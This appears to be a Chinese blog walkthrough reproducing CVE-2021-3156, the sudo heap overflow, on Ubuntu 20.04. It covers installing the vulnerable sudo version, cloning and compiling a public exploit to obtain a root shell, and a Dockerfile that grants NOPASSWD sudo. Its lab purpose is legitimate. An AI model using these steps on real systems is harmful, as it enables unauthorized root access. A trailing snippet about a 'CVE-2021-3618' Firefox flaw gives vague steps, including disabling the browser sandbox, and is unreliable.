CVE-2021-3156 漏洞复现

CVE-2021-3156 漏洞复现

漏洞描述

这个漏洞被披露于2021年1月26日。漏洞的载体是我们常用的sudo命令。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。研究人员利用该漏洞在多个Linux发行版上成功获得了完整的root权限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2),并且sudo支持的其他操作系统和Linux发行版也很容易受到攻击。

环境准备

  • Ubuntu 20.04.2 LTS

  • sudo=1.8.31-1ubuntu1

  • 这里要注意sudo的版本必须为1.8.31-1ubuntu1。1.8.31-1ubuntu1.2版本的sudo貌似已经修复了这个漏洞。

  • 我们可以使用以下命令获得软件的不同版本

    apt-cache madison sudo
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jnsVcNnQ-1620887938178)(CVE-2021-3156 漏洞复现.assets/apt-cache.png)]

  • 然后我们可以通过在软件后面加上=版本号来安装指定的版本。

    sudo apt install sudo=1.8.31-1ubuntu1
    

漏洞复现

  • 在准备好测试环境后,漏洞复现会变得非常简单。

  • 我们先输入

    sudoedit -s /
    
  • 来看看是否存在该漏洞

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pHXUCqwg-1620887938180)(CVE-2021-3156 漏洞复现.assets/sudoedit-1620886242979.png)]

  • 如果报错的错误是以sudoedit开头的,那么恭喜你的机器可能收到了该漏洞的影响,如果你返回的错误是以usage:开头的,那么你也许得换种环境来复现。

  • 然后我们需要从blasty/CVE-2021-3156 (github.com)上克隆exp

     git clone https://github.com/blasty/CVE-2021-3156.git
    
  • 然后我们进入文件夹执行make指令进行编译

    cd CVE-2021-3156.git
    make
    
  • 当然这需要你之前安装过make,同时make时会调用gcc,如果你都没有得话需要提前安装。

    sudo apt install -y make gcc
    
  • 然后我们执行文件就可以成功得到root shell

    ./sudo-hax-me-a-sandwich 0
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3pGWil1e-1620887938181)(CVE-2021-3156 漏洞复现.assets/root.png)]

尚存的疑惑

当我试图在docker镜像中复现此漏洞时出现了问题。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5T0x9uGH-1620887938182)(CVE-2021-3156 漏洞复现.assets/docker错误.png)]

以下是我的dockerfile

FROM ubuntu:20.04

LABEL Author="wuuconix <wuuconix@gmail.com>"
LABEL Blog="https://blog.csdn.net/Cypher_X"

COPY ./files /tmp/
RUN \cp -rf /tmp/sources.list /etc/apt/sources.list \
  && apt-get update \
  && apt install -y sudo=1.8.31-1ubuntu1\
  && apt install -y make \
  && apt install -y gcc \
  && apt install -y vim \
  && apt install -y git \
  && useradd -ms /bin/bash -G sudo wuuconix \
  && echo '%sudo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers \
  && echo "wuuconix:1234" | chpasswd \
  && chown -R wuuconix:wuuconix /home/wuuconix/ 

USER wuuconix
WORKDIR /home/wuuconix

RUN cd /home/wuuconix/ \
  && git clone https://github.com/blasty/CVE-2021-3156.git \
  && cd CVE-2021-3156 \
  && make 

如果有大佬看见,可以帮我看看哪里出错了。以下是源码和docker image

wuuconix/CVE-2021-3156-Dockerfile-not-succeed(github.com)

Docker Hub wuuconix/cve-2021-3156-not-succeed

参考链接

CVE-2021-3156 漏洞复现 附带 提权exp - 誉津 - 博客园 (cnblogs.com)

  • 0
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
CVE-2021-3618漏洞是指影响了Mozilla Firefox浏览器的一个安全漏洞。该漏洞复现步骤如下: 1. 首先,你需要安装最新版本的Mozilla Firefox浏览器。确保你的浏览器已经更新到最新版本,因为最新版本通常会修复已知的漏洞。 2. 在Firefox浏览器中,打开一个新的标签页,并输入“about:config”(不包括引号)并按下Enter键。这将打开Firefox的高级配置页面。 3. 在搜索栏中输入“security.sandbox.content.level”(不包括引号),然后按下Enter键。你将看到一个名为“security.sandbox.content.level”的首选项。 4. 将“security.sandbox.content.level”的值更改为“0”(不包括引号)。这将禁用Firefox的内容沙箱。请注意,这将降低浏览器的安全性,请谨慎操作。 5. 关闭并重新启动Firefox浏览器,使更改生效。 6. 现在,你可以尝试复现CVE-2021-3618漏洞。使用Firefox浏览器访问一个存在安全漏洞的网站,如已知的恶意或受攻击的网站,或使用特定的payload触发漏洞。 7. 如果复现成功,可能会出现安全漏洞所导致的异常行为,比如系统崩溃、恶意代码执行等。如果没有出现异常行为,可能是因为已经修复了该漏洞或在你的环境中无法成功利用。 需要注意的是,复现CVE漏洞可能存在风险,并可能对你的计算机造成不可逆转的损害。这种操作只适用于在合法情况下进行安全测试和研究的专业人士,不推荐普通用户进行尝试。实施复现操作之前,请确认你已经了解并接受相关风险。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值